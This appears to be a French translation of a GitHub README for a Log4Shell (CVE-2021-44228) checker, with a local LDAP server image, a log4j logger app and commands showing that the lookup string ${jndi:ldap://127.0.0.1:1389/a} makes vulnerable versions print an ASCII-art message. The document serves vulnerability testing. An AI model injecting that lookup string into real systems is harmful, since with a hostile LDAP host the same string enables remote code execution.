
Vérificateur de vulnérabilité CVE-2021-44228
Ce dépôt permet de vérifier la vulnérabilité CVE-2021-44228.
Ceci est une POC qui affiche uniquement des chaînes sans chargement de classe externe. Elle ne peut pas être utilisée pour l'exécution de code arbitraire.
L'image ghcr.io/greymd/cve-2021-44228/server est disponible et peut être exécutée avec Docker.
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server
Préparez le code pour journaliser les logs en utilisant log4j et exécutez-le sur le même hôte.
Faites en sorte que la chaîne de sortie soit ${jndi:ldap://127.0.0.1:1389/a}.
package logger;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class App {
private static final Logger logger = LogManager.getLogger(App.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://127.0.0.1:1389/a}");
}
}
Si l'argument est de nature à provoquer une vulnérabilité, l'expression 「うんこもりもり」(qui signifie « Beaucoup de merde ») sera enregistrée avec succès.
17:52:24.871 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Si vous avez la flemme d'écrire et de compiler votre code, vous pouvez utiliser une simple application de journalisation dans ce dépôt. Le premier argument sera affiché par le Logger.
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello
Un exemple d'argument provoquant une vulnérabilité serait le suivant.
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
"mm
mmmm "m "mmmmm
"" # m" "
# m#m m
# m" # m "m m
m" m" "mm" """""
m m m m m m
mm# # # "m mm# # # "m
m"#" ## # m"#" ## #
""#mm "m # # ""#mm "m # #
# # # # # #
"mm" m" "mm" m"
Si vous disposez d'une version de log4j qui n'est PAS affectée par la vulnérabilité, ou si l'application serveur ne tourne pas, la chaîne sera affichée telle quelle sans aucune modification. Vous pouvez le vérifier en mettant à jour la version de l'application de journalisation comme indiqué ci-dessous.
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...
Comme je l'ai mentionné (et d'après ce que j'ai trouvé), cette vulnérabilité ne sera pas reproduite à moins que le serveur de destination de JNDI ne soit en cours d'exécution. Par conséquent, une simple POC est utile.
Les URLs suivantes ont été utilisées comme référence dans l'implémentation.
OpenJDK Runtime Environment (build 1.8.0_302-b08)OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)